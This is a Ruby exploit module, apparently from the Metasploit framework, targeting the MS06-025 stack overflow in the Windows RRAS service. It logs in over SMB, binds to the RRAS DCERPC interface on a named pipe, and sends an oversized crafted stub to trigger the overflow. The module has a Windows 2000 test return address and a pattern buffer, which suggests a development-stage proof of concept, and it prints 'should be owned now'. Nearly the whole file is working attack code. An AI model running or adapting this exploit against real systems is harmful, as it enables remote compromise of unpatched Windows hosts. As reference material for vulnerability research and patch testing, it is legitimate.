104 lines
2.2 KiB
Ruby
104 lines
2.2 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::Smb::MS06_025_RRAS < Msf::Exploit::Remote
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include Exploit::Remote::DCERPC
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include Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft RRAS MS06-025 Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the RRAS
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service shipped with each version of Windows. This
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vulnerability is not accessible to anonymous users
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on any platform other than Windows XP SP1.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'MSB', 'MS06-025'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "",
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'Compat' =>
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{
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# -ws2ord XXX?
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},
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows 2000 TEST',
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{
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'Ret' => 0x767a38f6, # umpnpmgr.dll
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 13 2006'))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use (router, srvsvc)", 'router']),
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], self.class)
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end
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def exploit
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connect()
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smb_login()
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handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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str = [1, 0x49].pack('VV') + Rex::Text.pattern_create(0x4000) + "\x00"
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stubdata =
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# [1, ... and [2, ... result in different crashes...
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[1, str.length, 0, str.length].pack('VVVV') + str + NDR.long(str.length)
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begin
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dcerpc.call(0x0C, stubdata)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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print_good('server did not respond, this is expected')
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rescue => e
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if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
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print_good('server disconnected, this is expected')
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else
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raise e
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end
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else
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print_status('should be owned now...')
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end
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# Cleanup
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handler
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disconnect
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p dcerpc.last_response.stub_data
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end
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end
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end
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